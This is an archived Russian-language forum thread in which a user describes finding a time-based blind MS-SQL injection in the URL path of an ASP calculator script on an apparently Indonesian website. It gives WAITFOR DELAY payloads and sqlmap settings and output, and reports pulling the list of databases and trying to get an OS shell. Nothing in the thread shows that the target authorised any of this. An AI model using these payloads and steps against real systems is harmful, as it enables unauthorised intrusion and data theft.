PDA

Просмотр полной версии : Странная MS-SQL инъекция. Впервые такое.


leyka
07.03.2018, 09:22
Стандартный POST- запрос (скрипт - калькулятор по простенькой формуле выводит ответ на введенные значения):

POST /script.asp HTTP/1.1
Host: server.com
...
...

param1=1&param2=2&Submit=Submit

Пробежался ручками по параметрам, есть признаки инъекции (меняется размер ответа сервера), далее натравил Burp Scanner и пошел своими делами заниматься.
По возвращению, Burp показал возможную инъекцию, но не там где я ожидал, а именно:

POST /script.asp'%20waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Host: server.com
...
...

param1=1&param2=2&Submit=Submit

Через Burp Repeater задержка в ответе срабатывает с точностью до секунды (проверял на 5, 20, 30 секунд - ошибки быть не может).

Пробовал подставлять в URL выдуманный параметр: /script.asp?x=5 - на этом параметре Time-Based не срабатывает.

Sqlmap вообще ничего не обнаружил (правда еще не успел поиграться с формированием собственного пэйлоада), да и бог с ним.

Но что это было и как это возможно? Что за алгоритм может быть в script.asp? Единственное, что приходит на ум: сайт из Индонезии. Может там программисты такие же как в Индии - с другой планеты?

leyka
07.03.2018, 14:13
В итоге "странная" инъекция сработала с --prefix="' "

Parameter: #1* (URI)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: http://www.server.com/script.asp' ;WAITFOR DELAY '0:0:5'--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF)
Payload: http://www.server.com/script.asp' WAITFOR DELAY '0:0:5'-- imPI

достал список баз данных, но далее не получается. Названия таблиц вытянуть не может (пробовал и --hex и --no-cast:( )
Хотя самое интересное для меня было бы (при удачном стечении обстоятельств) получить шелл, найти этот script.asp, глянуть код и выяснить, почему случилась эта инъекция. Но тут тоже неудача: --is-dba выдал False, --os-shell так же мимо...